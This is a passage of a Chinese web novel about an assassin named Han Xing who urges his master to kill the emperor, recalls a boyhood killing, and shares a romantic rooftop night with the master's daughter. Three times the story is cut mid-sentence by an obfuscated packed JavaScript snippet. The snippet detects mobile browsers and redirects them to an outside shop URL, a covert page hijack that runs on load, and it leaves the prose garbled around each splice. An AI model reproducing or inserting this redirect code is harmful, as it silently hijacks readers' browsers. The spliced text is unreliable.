寒星接过馍饼,捧着咬了一口,然后很快的,第二口第三口陆续下肚,一张馍饼转眼就没了一半。 伙计瞧着他狼吞虎咽的吃相,不觉笑出了声,“吃慢些,没人和你抢。” 寒星擦了擦嘴角,将剩下的半张馍揣在怀里,又转头看了眼铺子字号,便起身离开了,他还没走几步,背后就被人抡了一拳。 三个乞丐围上前来,推搡着他,“吃的呢,交出来。” 寒星装作不懂,“什么吃的?我没有。” 一个乞丐踹了他一脚,“少他妈装蒜,刚在李家茶叶铺门口,我眼见着里头的伙计给了你一张馍吃,赶快给爷几个交出来,然后滚蛋。” 寒星嘴硬道,“都吃没了。” “你小子。”乞丐揪住他的衣领,往他怀里摸去,一把就将馍扯了出来,攥着馍向另外几个乞丐笑道,“哼,这不是。” 寒星趁其不备,在他手上狠狠咬了一口。 乞丐痛的“嘶”了一声,馍饼也掉到了地上,寒星捡起馍饼,拔腿就跑,后头几个乞丐破口大骂,追上前来,不一会儿就抓住了他。两个乞丐把他死死摁在地上,被咬的那个乞丐一脚踩在他脸上,“你个小兔崽子,敢咬老子,啊?咬啊,你现在怎么不咬了。” 寒星心中腾起一股怒气,他用力挣脱出来,一个鲤鱼打挺,便和那个乞丐厮打在一起,他虽然瘦,却很会使巧劲儿,纵然是以一敌三,也能勉强应付一阵,不过他最终还是落了下风,乞丐死死摁住他,对他一顿拳打脚踢,啐道,“杂种,呸。” 寒星被摁得动弹不得,手上腿上全是伤,可一听到这句话,立马又不要命似的扑了上去。 这一幕被轿子里的席容炎瞧得一清二楚,他一挥手,小厮就上去扯开了几个乞丐。 他缓步走到寒星跟前,指着争抢中掉在地上的半张馍,问道,“想吃吗?” 寒星点头,席容炎便命小厮拣过来,扔到寒星跟前。 寒星才要伸手去拿,席容炎却一脚踩到馍上,皮笑肉不笑地问他,“还想要吗?” 寒星的手滞在半空,狐疑地抬头看他,席容炎从怀着掏出一把匕首,俯身搁在寒星面前,指指那三个乞丐,“杀了他们几个,我保你衣食无忧。” 寒星打量着他身上的锦缎华服,试探道,“你说话可算数?” 席容炎看看左右,哈哈大笑。 一旁的小厮笑道,“我家老爷可是刚刚上任的刑部尚书,他的话谁敢不听。” 寒星没再犹豫,抄起匕首冲了过去。 一刀,两刀,三刀…… 他一刀刀地扎进去,拔出来。 人早已死透了,可他却没有停下手里的动作,仍是一刀刀地扎进去,拔出来,他在报复,报复所有欺辱过自己的人,报复所有欺辱过自己母亲的人。 他杀红了眼,根本听不清席容炎在说什么,直到最后被两个小厮扯开,他才觉察到自己满身满脸的血。那是寒星第一次杀人,他自此就喜欢上了这种感觉。 席容炎拍着手,眼中些许赞许,“好小子,以后你就跟着我,你叫什么名字?” 寒星捂着心口,一字一顿道,“阿星,我叫阿星。” “嗯,你以后跟着寒字辈,就叫寒星。” 席容炎转身上了轿子,吩咐小厮,“把他安置在暗卫营。” 那时席容炎正值壮年,调任回京,不久又升了刑部尚书,意气风发,而今不过十数年的光景,他的眼角眉梢已然布满了岁月的痕迹,虽然精神尚好,却掩盖不了他日渐衰老的事实。 寒星喉结动了动,收回思绪,继续说道,“其实属下以为,主公一直以来的思路都错了。” 席容炎冷冷瞥他一眼,“怎么说?” “您一直盼着皇贵妃娘娘能诞下皇子,所以才要杀掉太子,好为娘娘的孩子扫清阻碍。可是您有没有想过,就算皇贵妃娘娘诞下皇子,就算这位皇子成为天子,您又能得到什么呢?无非还是臣子罢了。您努力了这么久,付出了这么多,最后仍要屈居人下,您,甘心吗?” 席容炎唇角抽动了一下,“继续说。” 寒星上前一步,说道,“宫内,皇贵妃娘娘掌着后宫,宫外,主公您掌着前朝。肃安王远在西域,朝中都是您的亲信,您想要做什么都易如反掌。”寒星抬手往上一指,声音刻意压低了几分,“主公,杀了他,就什么都了了。” “混账!”席容炎一把抽出身上的佩剑,抵在寒星颈间,“这他妈可是诛九族的死罪!” 寒星两指捻住剑锋,轻轻挪开,“皇上也是篡位登基的,怎么不见有人敢诛他的九族。成者为王,败者为寇,史书工笔,不过是任人打扮的小丑,这个道理您不会不明白。更何况,主公所犯的诛九族的罪还少吗?” 席容炎神色晦暗不明,他用剑挑起寒星的下巴,“你是谁的人,说这番话的目的是什么?” 寒星抵着剑,缓缓跪了下去,“属下从十岁起就跟了主公,主公的事属下没有不知道的,属下自然是主公的人,主公不必疑心我。” “这么说,你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502745|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一心为我考虑?” “也不全是,属下也有自己的私心。” 席容炎闻言,慢慢放下了剑,“讲。” “待您登基以后,属下想拿到解药,和阿烟远走高飞。”寒星顿了顿,补充道,“彻底的解药,我不想一辈子都受制于人。” “阿烟?”席容炎重复了一遍,冷笑道,“寒星,你为什么这么自信,认为我会答应你,放你离开,放她离开?” “因为属下知道,主公是英雄,美人与江山之间,主公爱的是江山。” “你知道的太多了。” “事成之后,属下愿自废武功。至于其他,主公不必担心,主公的事,属下桩桩件件都参与了,属下绝不会说。属下只希望能好好活着,和阿烟一起,还请主公成全。” 席容炎冷哼一声,收剑入鞘,他盯着寒星,始终未发一言。 月亮西移,屋内的光线又暗淡了许多。 席容炎踱到窗前,仰头望着天上月。 许久,他转过身来,淡淡道,“寒星,你若能助我成为千古一帝,我自然愿意成全你们。不过,现在还不是时候,魏晗烨摄政以来,明里暗里裁了我不少人马。肃安王此次虽是率军前往,带的大部分却都是王府里的亲兵,只有小部分是京城的精锐部队,朝中的霍淳现掌着兵权,琰儿和漪儿又在宫里,如果外面出了异动,她们就危险了。” 席容炎叹了口气,踱到寒星跟前,伸出一只手扶起了他,接着说道,“皇上对娘娘宠信有加,对我也一向倚重,这件事未必没有转圜的余地,我要你去西域一趟,见机行事。” 寒星颔首,“但凭主公吩咐就是,只是不知西域到底出了何事,属下心里也好有个数。” “正是不知道出了什么事,才找你过来。”席容炎看着寒星一脸疑惑的表情,笑了笑,“我放在西域的探子,最近几次传回的消息都是无事。可是这个当头,无事,怕就是有事。” 寒星拱拱手,“属下明白了,如果无事,属下悄悄回来复命,如果有事,属下便在路上解决了对主公不利之人。” 席容炎点点头,脸上神色阴沉,正如此刻黯然无光的黑夜,他忽然低笑道,“这么难得的人才,若是从此隐退了,倒真是可惜了。事成以后,你还是跟着我吧,我封你一个官职,再赐给你一座府邸,你和烟儿就在京城好生住着,哪都不用去。” 寒星心中一惊,忙又跪下,叩首道,“多谢主公美意,只是,属下身上杀孽太重,余生只想远离朝堂,再不问这世间事,以后修身养性,也好偿一偿自己曾经犯下的杀孽。” 席容炎低头瞧他半晌,脸色倒是缓和了许多,“想不到你竟还有一颗佛心,起来吧。” 寒星却不肯起,仍是叩首,“还求主公允准。” 席容炎笑笑,“早就说过成全你们了,我还能反悔不成,起吧。” 两人正说着话,忽听门外脚步响,小厮叩了叩门,轻声问道,“老爷歇息了吗?” 席容炎不耐烦道,“什么事啊?” “私狱的邓千求见,说是烟雨阁的烟姑娘有事回禀。” 席容炎闻言扫了一眼寒星,“让他进来。” 小厮应了一声,遂引着邓千进来。 38. 今事恍昨非 邓千先向席容炎行了一礼,转头瞥见寒星也在这里,不觉有些诧异。 他今晚来席地斋,一则是想探探席容炎的口风,他今日被席容烟扇了一巴掌,恨得牙根痒痒,但他还摸不准席容炎的心意,不敢擅自下手。二则,他也是想要挑拨几句,最好能让席容炎对席容烟心生不满,彻底厌弃了她,到那时候,他要做什么,可就由不得她了。 可他没想到,寒星居然没死,不光没死,他还从私狱活着出来了,现在好端端站在这里,他一时间不由得没了主意。 席容炎淡淡扫了邓千一眼,“何事?” 邓千想了想,回道,“回老爷的话,是烟姑娘想要提拔她房里的桃夭做一等丫鬟,这样的事府里并无先例,所以来请老爷的示下。” 席容炎面有愠色,“屁大点事情也值得大半夜过来回禀?你们都闲得没事干了是吧?” 邓千连忙为自己分辩,“是烟姑娘不依不饶非要让人过来回禀,我想着老爷特意吩咐了,不准擅自离岗,这才赶换班的时辰过来,却不想扰了老爷安睡,是我该死。” 他一面说着,一面用力扇了自己两个耳光。 席容炎头也不抬,懒洋洋地说了句,“行了。” 邓千于是住了手,恭敬站着等他发话。 “烟儿为什么突然要提拔桃夭呢。” “说是夫人派了个叫敛秋的二等丫鬟过去,烟雨阁就有两个大丫鬟了,里头的丫鬟婆子不知该听谁的话,所以闹起来。” “敛秋是谁?我怎么不记得夫人房里有这个丫鬟。” “哦,原叫知书的,烟姑娘不喜欢,给改了名字叫敛秋。哦对,烟雨阁还有个小丫鬟叫四儿,烟姑娘提拔她做了二等丫鬟。” 席容炎拍拍脑袋,笑道,“诶呀,这都哪跟哪啊,这帮女人真是麻烦。” 邓千看了眼席容炎,又看了眼寒星,跟着干笑两声,“确是麻烦事,还请主公明白示下。” “若按规矩,少爷小姐屋里自然是不能有一等丫鬟的,不过——”席容炎瞥了一眼寒星,继续说,“不过席容烟已经被皇上赐婚给了太子殿下,怎么说也是皇家人了,破些规矩倒也无妨,由她吧。” 邓千松了口气,“明白,那属下告退,主公早些安歇。” 席容炎“嗯”了一声,忽又像是想起了什么似的,出声唤道,“邓千。” 邓千此刻已经推开了门,听见席容炎叫他,忙又躬身退了回来,“主公还有什么吩咐。” “一会儿去烟雨阁告诉底下人一声,让他们都撤了吧。” 邓千惊讶地应了声“是”,随即行礼退了出去。 邓千出了席地斋的院门,又快速走了几步,心里不由得犯起了嘀咕,“真是喜怒不定啊,说关就关,说放就放,这可怎么办,我今日已经把席容烟给得罪了,若让寒星知道,非把我弄死不可。” 他正想着,就听后头远远有人喊了声,“邓将军!” 这声音可不正是寒星,他心说真是不抗念叨,赶紧挤出一副笑脸迎了上去,“诶呀,寒将军,好久不见。” “邓将军真会开玩笑,我们分明才刚见过。” 邓千讪讪笑着,捉摸着该说些什么,就听寒星笑道,“这些日子邓将军寸步不离地守着烟雨阁,真是辛苦了。” “嗐,都是听吩咐做事,可不敢说辛苦。” “我家阿烟没给邓将军惹麻烦吧。” 邓千一愣,随即忙拱手道,“不敢不敢,寒将军的人我怎么敢惹。” 寒星随意把手往他的胳膊上一搭,免了他的礼,面上仍是笑着,“那就好,邓将军不是要去烟雨阁办差吗,不如我们一起?” 邓千还没答话,就被寒星揽着肩膀走了起来。他心里哭笑不得,却也只能暗骂今日倒霉,摊上了这个瘟神。 “寒将军在私狱里受苦了,如今出来了,好生将养几天,我那里有药,寒将军若有需要,派人知会一声,我给将军送去。” 寒星哂笑一声,“暗卫营最不缺的就是药,不过,还是谢谢了。” 邓千赶紧摆手,“你我之间客气什么。” 两人就这么有一搭没一搭的闲聊着,一路走到了烟雨阁。 此刻已近寅时,门口的几个守卫斜倚着大门,正打呵欠,瞧见邓千过来,齐声问好道,“将军。” 邓千点点头,“哥儿几个都辛苦了,早点回去歇着吧,明天不用再来了。” 守卫们听了这话,自然是十分欢喜,瞬间响起一片欢呼雀跃之声。 邓千瞧了眼院门上头的匾额,转了转眼珠,做出为难的样子,对寒星说道,“寒将军,你看这个时辰里头的人都睡下了,又都是女眷,我也不好进去的,剩下的事可否劳烦寒将军代为传达一下。” 顺水推舟的人情,寒星自然不会拒绝,他笑了笑,冰蓝色的眸子好似星汉一般璀璨。 “邓将军前途无量。” “有劳寒将军关照。” 两人客套一番,各自告辞,寒星推开院门,大步走了进去。 几个守卫方才并未留意寒星,现下听到邓千称呼他为“寒将军”,俱是惊掉了下巴一样的表情,身子也不由得站得笔直。 他们不过是私狱里的最普通的小喽啰,虽然听说过寒星的声名,却从来没有见过真人。 这几个人凑到一块,刻意压低了声音,指着寒星的背影交头接耳的议论起来。 一个惊讶道,“天啊,他就是寒将军啊,怎么长得如此清瘦,一点儿也不像传说中那个杀人不眨眼的暗卫头子。” 一个附和道,“是啊,我感觉他的力气还没我大呢。” 一个老成的沉声道,“暗卫营可不是什么好呆的地方,他这么年轻就当上了暗卫统领,必有过人之处。” 邓千听着底下人的议论,突然有点心烦,想也是,人家寒星才二十出头就已经是暗卫营统领了,自己呢,虚长十岁不说,如今还只是私狱里的一个小头头,真是人比人,气死人,今日的事情还不知道会怎么收场呢,他虽然担心,却也在寒星跟前只能装作若无其事的样子。 邓千在心底谈了口气,但愿席容烟不会把这件事告诉寒星吧,要不,自己就真活不成了。 门口的几个人叽叽喳喳,议论得越发来劲。 邓千摆摆手,打断了他们,“寒将军是什么人,若要他听见你们背后嚼舌根,你们还有命在?散了散了。” 守卫们不敢再说,各自散去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502746|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 寒星往里走着,他听觉敏锐,虽然隔了十多米的距离,这些议论却是一字不落地落到了耳朵里,他不由得笑了起来,心说自己真有这么可怕吗? 微风拂面,屏风上的蔷薇木香弥散开来,沁人心脾。 寒星在屏风前站住,脚步也不由得放缓了许多,明明已经近在咫尺,他此刻却有些怕了。 他在外头定定站了一会儿,平复了一下自己的心情,轻手轻脚地掀了水晶帘进去。 屋内,窗子并未关拢,一阵晚风袭来,带了几分寒意,寒星遂去关窗,略一低头,瞥见临窗的案上散着纸笔,笺上留有墨痕。 他好奇地拿起那张金凤笺仔细读来,原是一首小词,写道是,“夜尽半归影,微拢草荇,隔岸皎皎又化轻罗屏。月华缪缪不解人间愁,漫天染映。云笑千载行,酴蘼未醒,星子寥寥唯恐酣梦兴。霜落青丝不忍云衫皱,负了天明。” 寒星记性很好,他把词句一字不差地记在心中,又将纸笺搁回原处,提步走向床榻。 床上挂着的天青色软烟罗纱帐一半松松撂着,一半阖拢在银钩上,寒星拨开纱帐,沿着床边轻轻坐下。 席容烟卧在楠木垂花拔步床里面,身上盖了一层竹月色的锦衾,酣酣睡着,她的神色恬淡,轻柔,像是一弯琥珀色的月牙儿卧在了星河微漾的夜空中。 寒星看着她,冰凉的眼眸流出几丝暖意,他俯下身子,轻轻在她白腻的脸颊上印下一吻。 寒星的唇很薄很凉,像是一片雪花,在她的脸上徐徐落下,化开,直到彻底融为一体,他的吻很轻,却又极尽缠绵,不舍得离开,情到深处,寒星吻得越发用力,霸道。 席容烟的睫毛抖了抖,渐渐从睡梦中苏醒,一片漆黑中,她的眼睛还没来得及适应适应,就听到耳畔传来男人的呼吸声,她以为自己在做梦,怔愣了一会儿,继而感受到脸颊上硬硬的胡茬,忽而大惊失色,一面挣扎着起身,一面大喊,“快来人!” 寒星发现她醒了,先是一喜,听到她大声呼救,又是一惊,忙伸手掩住她的嘴,她才说出一个“快”字,就再也发不出声音,她白天本就受了惊吓,如今挣脱不开,求救不成,更是惊惧交加,她顾不得许多,一口咬在了寒星的虎口上。 寒星紧了紧嘴角,附在她耳边轻声道,“阿烟,是我。” 席容烟听出他的声音,不可思议地抬眼看他,慢慢安静了下来。 寒星知道她认出了自己,也便撤了手,借着月色一瞧,只见上头多了一排带血牙印,不觉笑笑,“如此,我也放心了。” 席容烟有些气恼地推他一把,“大半夜的,你过来做什么?吓死人了,我还以为——” “以为什么?” 席容烟的眼圈一下子红了,她摇摇头,没有说话。 寒星皱眉道,“阿烟,出什么事了?” “没事。” “眼睛都红了,还说没事,阿烟,告诉我,到底出什么事了?” 席容烟扑到他的怀里,扁了扁嘴,“他们说你死了,我真的害怕,从此再也看不见你了。” 寒星怔了一怔,伸手轻轻拍着她的背,轻笑道,“我这么厉害,怎么可能会死呢,放心吧,是哪个混账这样咒我?” 39. 月下阑珊梦 席容烟想起了白天的事,心里更难受了,她用下巴抵着他的肩,委屈巴巴地说,“寒星,有人欺负我,你帮我打他们好不好。” “有人欺负你?”寒星的神色一下子严肃起来,“谁欺负你了?” “我不认得他是谁,只知道是门口守卫里的一个。” “他——”寒星顿了顿,问,“怎么欺负你的?” 席容烟就把白天的事情原原本本说了一遍,寒星听完,眼中陡然闪过一丝凶光,咬牙道,“好啊,做出了这样的事情,还敢跟我装作没事儿人一样。” 席容烟从未瞧见他这副样子,试探着握住他的手,“寒星。” 寒星回过神来,知道是自己吓到了她,于是缓了缓神色,“阿烟,你放心,我一定帮你出这口恶气。” 席容烟笑着点点头,说,“好。” “对了,我来,是有好消息想要告诉你,你听不听?” “嗤,买什么关子呀,你来都来了,我说不听,你还能不告诉我不成,快说吧。” 寒星偏不信这个邪,他站起身来,做出要走的架势,“你既不愿意听,就罢了。” 席容烟也不拦他,回身寻了个软垫靠着,一副坐等着看好戏的模样。 寒星一直走到屋子门口,略站了一会儿,看见她还是没有叫住他的意思,只好硬着头皮往回走,半跪在床前,告饶道,“好了,阿烟。” 席容烟眼中闪过一丝得意,嗔道,“说,你错了。” 寒星笑笑,“你错了。” 席容烟纠正,“是我错了,不对,就是你错了——” 她绕了半天,又反应过来,戳了戳他的脑门,“你诚心捉弄我是不是。” 寒星笑着牵过她的手,含在嘴里咬了一下,声音含混沙哑,颇有几分迷离,“我错了。” 席容烟只觉得一股酥麻从指尖传来,千般柔情,万种滋味,化作一曲清泉,自指尖流泻而出,潺湲处,丛林尽染。 她红了脸,不敢再看他,过了好一会儿,她才轻声道,“罢了,说正经事吧。” 此刻已是寅时,黑暗渐渐隐去,余下漫天的皎皎清辉。竹月色的水波在夜空中晕染开来,天渐次亮了些。 她的神情变化清楚的落在寒星眼中,他促狭一笑,“三个好消息,你猜猜看。” “桃夭做一等丫鬟的事儿,成了?” “嗯,还有呢。” 席容烟想了想,试探道,“门口的守卫撤了?” 寒星点点头,眸中笑意更深,“还有一个,再猜。” 席容烟看着他的模样,唇瓣一张一合,却没有说话,转头看向窗外的天空。 白云濯褪了乌色,浮出一轮清明朗月,她想伸出手,去够一够。 寒星揽过她的肩,轻轻晃了晃,催着,“猜呀。” 席容烟回过神来,半晌,摇头道,“我不知道。” 寒星无奈的叹了口气,“你分明已经猜到了,却不肯说出来。” 席容烟闻言,身子微不可察地颤了一下,低头呢喃,“不可能的。” “怎么不可能,世间万物皆有代价,只要愿意交换,就没有什么事是办不到的。” 席容烟怔了一会儿,“那么,这件事的代价是什么?” 寒星牵过她的手,在她的掌心比划了一个“皇”字。 席容烟一惊,气道,“你疯了,这可是要诛九族的!” 寒星对她作了一个噤声的手势,又摊摊手,一脸轻松,“无所谓呀,我无父无母,了无牵挂,不过贱命一条而已,用它来换些东西,我觉得很值。” 席容烟扑到他的怀里,声音带着些许哭腔,“我不许你这样说,了无牵挂,那我算什么?” 寒星抱住她,低头凝视着她晶莹剔透的眼眸,目光也渐渐柔和了起来,“阿烟,其实我决意要冒这次险,不单是为了你,也是为了我自己。不过你放心,我不会让自己有事的。” 席容烟依偎在他的怀里,静静看着他不说话,半晌,她合上眼,轻声问道,“什么时候?” 寒星摇摇头,“我不知道。” “寒星,不要瞒我,永远不要。” 寒星听她这般唤自己,忽而笑了,“阿烟,我是真的不知道,什么时候动手全看主公的意思,我若知道,绝不瞒你。” 席容烟默了默,忽仰头看他,脸慢慢往上凑了过去,寒星正在疑惑,她的唇瓣已然覆在他的唇上,温润,细腻,如满月,似和玉。 寒星愣了片刻,一面回应着她的吻,一面把手扣在她的脑后,舌尖卷在口中,唇齿交缠,香津生腻,像是两条滑腻的水蛇盘绕在一起,再不能分离。 热,好热,她仿佛溺入了一池雾气氤氲的春水,热得喘不过气来,她张开双臂向他求救,他却不肯救她,只是拥着她向更深处坠落。 泡沫结成光晕,七零八落的浮在水面上。 她循着光亮往上寻去,正跌入了他灿若星汉的眼眸。 他吻她,一遍遍吻她,红的唇,白的颈,肉肉的耳垂,薄薄的眼睑…… 爱不释手,几近疯狂。 她快要窒息,却依旧用力回吻着他。她不甘心,他的唇还是那么薄,那么冷,这不能够!她用灵巧的舌尖在他的唇上一圈圈的打转,亲他,咬他。她听见他低低笑了一声,随后在她红肿不堪的唇瓣上狠狠啄了一口。 刹时,一股腥甜在唇齿间泛开,她吃痛,想要反击回去,却被他机敏地躲开,她还没来得及第二次进攻,早已被他紧紧压住,转而陷入更深的纠缠,慌乱中,她摸到他冰石一般的锁骨,张口就咬了下去。 他闷哼一声,舐掉齿间的血迹,随即裹着她带血的唇瓣,用心吮吸起来,滚烫鲜红的血液缓缓溢出,他的唇瓣渐渐有了温度,不似从前那般寒凉。 她抱着他的肩膀,笑了笑,可心里依旧觉得不满意,她想让他浑身上下全都暖和起来,她反手勾住他的脖颈,微微用力,她要用自己去暖他。 玉峰起,半池红菡萏,云岭横,一架白荼蘼。 立时,她玲珑有致的身子烧的他浑身滚烫,他战栗着,呼吸声起伏不定,仿佛是黑夜里飘荡着的几团鬼火。 他紧紧环抱着她,迷醉于她的气息,沉沦于她的温度。 不过刹那,已是永恒。 忽地,他推开她,自顾自向水面浮去,她错愕着伸手想要留住他,却被他轻轻推开。 水、雾气、泡沫、光晕、星尘渐次消散,她不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502747|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉窒息,只是大口大口的喘气,心里却空落落的难受。 席容烟猛地坐了起来,四周静悄悄的,一个人都没有,仿佛刚才的一切不过大梦一场。 她抿了抿唇,唇上的丝丝疼痛在提醒她——这,绝不是梦。 席容烟随手取了件披风披在身上,快步跑出屋子寻他。 寒星衣衫凌乱,领口微微向外翻着,锁骨上的一抹血色在黑夜中绽放开来,分外妖冶。 他双臂环于胸前,正斜依着廊下的金柱,仰头望月,见她跟了出来,冲她一笑,柔声道,“阿烟,终有一天,我会给你一场全天下最盛大,最浪漫,最与众不同的昏礼。” 席容烟走到他跟前,踮起脚尖,头埋在他的脖颈处,低声呢喃,“寒星,我不在乎这些。” 寒星用拇指轻轻揉搓着她唇间的肿胀,“但是我在乎,阿烟,我爱你,所以不能害你。” 席容烟静默了一阵,终于松开手,往后撤了一步,语气温柔而又决绝,“那我等你。” 寒星笑了,不同于以往只是点到为止的笑,他笑得很开心,像个孩子一样真挚,纯粹。 他向外走了几步,冲她笑着伸出手,“来,我带你去一个地方。” 席容烟没有任何犹豫,她把手搭了过去。 寒星仍是笑着,他一只手拉住她的手,一只手落在她的腰间,轻声哄道,“别怕,记得睁眼啊。” 话音刚落,席容烟发现自己整个身子随着他腾空而起,越升越高,眼看着距离自己越来越远的地面,她吓得赶紧闭上眼,不敢再看。 寒星朗声笑了起来,环着她的手臂又紧了几分,“阿烟,别怕,有我在。” 席容烟闻言,终于大着胆子睁开了眼睛,正对上他满含柔情的目光,他向上挑了挑眉,示意她看看天空。她顺着他的目光向上看去,只见满天星河如同霓裳华服一般,簌簌而下,纷纷披落己身,情不自禁的感叹,“好美。” 寒星见她欢喜,揽着她在空中兜了几个圈子,直到她尽了兴,才抱着她落在一处屋檐上,寒星扶着她坐定,自己枕着双臂,往边上随意一躺,望着天上的星星不说话。 席容烟探身张望,发现此处竟是藏书阁,她想起这座楼的来历,不禁掩面一笑。 席容炎出身草莽,不通文墨,为相之初,常被人暗地耻笑。因此,他特意在府内建造了一座藏书阁,又命人为他四处搜寻好书,或买或抢,通通运进宰相府。当年筹建藏书阁时,府内其他院落均已建成,唯有最后头的一块空地还没有使用。 席容炎想要将藏书阁建成天下第一阁,便命匠人在此处筹画起造六层高楼。可笑的是,席容炎除藏书阁建成之日来过一次,从此便再未踏足,反倒是席容烟在这里一呆就是一整天,消磨了许多无聊时光。 寒星斜睨她一眼,“笑什么?” 席容烟想着寒星也是一介武夫,怕说出来惹他伤心,便抬手指着天上的星星岔开话题,“你瞧,东边的那五颗小星组成了一个五边形,像不像一只正在银河里畅游的神龟?它呀,就叫龟星。它旁边还有一团小星,就像一群鱼儿一样,所以呢,人们都叫它鱼星。” 寒星瞧了瞧,果然十分相像,笑着附和,“还真是很像。” 40. 星河生死诺 席容烟眼中得意,又指向北边的一处天空,“这儿就更有趣了,男子耕田,女子纺织,天鸡鸣唱,狗儿撒欢,活脱脱就是五柳先生笔下的桃花源。” 寒星笑着摇头,“胡诌什么,我只听说过北边有牛郎织女星,哪有你说的什么桃花源。” 席容烟不满,给他解释了每颗星星的名字由来,诸如天田、离珠、牛、狗、十二国等等,末了撇了撇嘴,“你若还是不信,只管翻书来看,便知我是不是胡诌了。” 寒星面露惊讶之色,“你怎么会知道每颗星星的名字?” 席容烟笑道,“机缘巧合,我有一次偶然读到了丹元子的《步天歌》,就对星象产生了兴趣,后来又读了《天文志》、《天官书》、《天元占经》几本,渐渐记住了一些。” 寒星端详了她一阵,忽然正色道,“阿烟,我有一件事情想要劳烦你。” 席容烟见他神色凝重,点头应下,正要问他所为何事,忽见寒星解开衣服,露出他健硕精壮的胸膛,席容烟愣了愣,下意识的紧闭双眼,微微侧身,别过头去。 寒星见她如此,又是无奈又是好笑,忙将衣服往回拽了拽,只露出了心口的那一小块,解释道,“我心口有一个星星的胎记,这么多年,我一直想弄清楚它叫什么名字。” 席容烟闻言,睁开眼睛,从指缝儿里偷瞄了一眼,低头琢磨了一会儿,又凑上去细看,一面仔细分辨,一面用手摩挲着,说道,“如果我没记错,它应该叫‘昂’,俗称‘冬瓜子’。” 寒星低头瞧着她,笑了笑,“瓜子?这看着可一点也不像。” 席容烟脸上一分笑意也无,继续说道,“诗鬼李贺写过一首《塞下曲》,其中有两句,‘秋静见旄头,沙远席羁愁’,所谓‘旄头’,指的便是此星。”[1] 忽地,一阵狂风骤起,席容烟只觉得自己不受控制地往下滑去,她惊慌失措,吓得连喊叫的声音也发不出来,寒星眼疾手快,一把捞起她,将她紧紧搂在怀里。 席容烟心神方定,伸手一摸,脸忽然红了起来,这人,怎么什么都没穿? 原来方才大风骤起,寒星身上的衣服全被风刮了起来,他刚要系好衣服,却看见席容烟马上就要掉下去,只得先过来救她。 此刻,席容烟紧紧贴在他精壮健硕、不着寸缕的胸膛上,二人离得这样近,她甚至能清楚地听到他的心跳声。 说来奇怪,在她的记忆里,寒星经常受伤,她以为他身上一定布满了大大小小的伤痕。可是刚刚的触感却十分光滑,伴着夜里独有的一丝寒凉,摸起来格外舒适。 席容烟暗暗思量,“怎么会一点疤痕都没有呢?” 她这么一想,又前后左右,细细摸了起来,忽听寒星低低笑问,“怎么,摸上瘾了?” 席容烟不好意思的想坐起来,却听耳畔狂风刮过,其中夹杂着寒星警告而又不乏戏虐的声音,“别动,不想掉下去的话,就抱紧我。” 席容烟经过内心的一番挣扎,觉得比起看不见摸不到的名节,还是保住性命更重要一些,于是,她不再顾虑,伸手环住寒星的裸背,和他贴得更紧了些。 二人就这么紧紧相拥,直到风停,寒星才不情愿地松开手,低头看见她的脸像是熟透的红果子,不觉笑出了声。 席容烟瞪他一眼,垂眸盯着自己披风上的西蕃纹样,也不说话。 寒星笑着拢了拢衣服,“对了,你刚才说这颗星星叫什么来着?” 席容烟默了默,仰头看天,缓缓道,“这是昂星团,俗称冬瓜子,因为形状如矛似旌,也唤作矛、旄头、髦头。金秋十月,它在夜空里格外醒目。” 她说着,便指着西北角的一处星空给他看。寒星激动的站起身来,一会儿低头看着自己心口的纹样,一会儿仰头看向那处明亮耀眼的星团,神色欣喜异常。 席容烟用手扶着琉璃瓦,小心翼翼地站直身子,同他并肩而立,想了又想,还是开口道,“这团星云,常常被用来代指胡人。” 寒星转过脸来看她,席容烟看见他冰蓝色的眼眸,深吸一口气,“寒星,你不是大魏人,你应该是——西域人。” 寒星眼中笑意渐渐散去,他将手负在身后,肃然站着。 半晌,他悠悠叹了口气,“阿烟,你会因此嫌弃我吗?” 席容烟低头想了一会儿,绕到他的身后,轻轻抱住了他,“寒星,我不会,你记住,我席容烟爱的是你这个人,不论你是什么身份,做过什么事情,我都会永远爱你。” 寒星喉头滚了滚,回身抱住她,“谢谢你,阿烟。” 席容烟依偎在他的怀里,“你要谢,就娶了我,用你的一生来谢。” 寒星含笑应她,“正合我意,却之不恭。” “那你发誓。” “好,我寒星在此立誓,此生只娶席容烟一人,往后余生,永不相负。” “漫天神佛为证,我席容烟此生只嫁寒星一人,往后余生,永不相负。” 头上是星空,脚下是黑夜,二人久久地立于天地间,四目相对,仿佛一切尽在不言中。 许久,寒星侧了侧身子,看见东方晨曦微露,便道,“天快亮了,我送你回去吧。” 席容烟头也不抬,呢喃着说了声,“不要。” 寒星无奈苦笑,他捻起她鬓角的一缕青丝,绕在指尖把玩,逗她道,“霜落青丝不忍云衫皱,负了天明,你不去睡,我也不忍心的。” 